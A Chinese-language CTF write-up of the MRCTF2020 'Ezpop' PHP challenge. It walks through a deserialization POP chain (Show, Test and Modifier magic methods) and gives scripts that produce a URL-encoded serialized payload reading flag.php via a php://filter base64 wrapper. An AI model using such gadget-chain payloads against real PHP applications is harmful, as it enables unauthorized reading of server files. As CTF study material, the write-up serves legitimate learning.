BUUFTC-日刷-[MRCTF2020]Ezpop-tostring小知识点-反序列化属性小坑


<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

 审计代码,很明显发现我们要利用的点

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

想要调用这个文件包含,就要调用到__invoke(),这个方法是类被当作函数调用的时候会触发,继续找

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

这里__get方法会调用$p,让p等于modifier即可,下面就是想办法调用test的__get(),这个方法是调用这个类里面不存在或者私有变量时会触发

class Show{
    public $source;
    public $str;
。。。
    public function __toString(){
        return $this->str->source;
    }

 。。。
}

注意到show类中__tostring方法会返回str中source,我们让str等于test类,source随便指定即可。下面就是想办法调用__tostring

我之前一直以为只有输出字符串才会调用__tostring方法,查了一下,只要被当作字符串处理都会调用这个方法

class Show{
    public $source;
    public $str;

。。。

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

注意到show类中,__wakeup()方法,会对souce进行一次正则匹配,这里就会把source当作字符串处理,因此让source等于show类即可

构造pop链:

<?php

class Modifier {
    protected  $var='flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r((serialize($ss)));

发现没反应,观察输出的序列化链:

这里s长度为6,但是只有  *var 4个字符,查一下

protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;

因此直接输出结果复制不行的,先url编码一下

<?php

class Modifier {
    protected  $var='flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r(urlencode(serialize($ss)));

发现

不能直接输出源码,采用伪协议输出即可

<?php

class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r(urlencode(serialize($ss)));

获得base源码,解码即可

附上我踩的坑

public无标记,变量名不变,长度不变: s:2:"op";i:2;
protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;

相关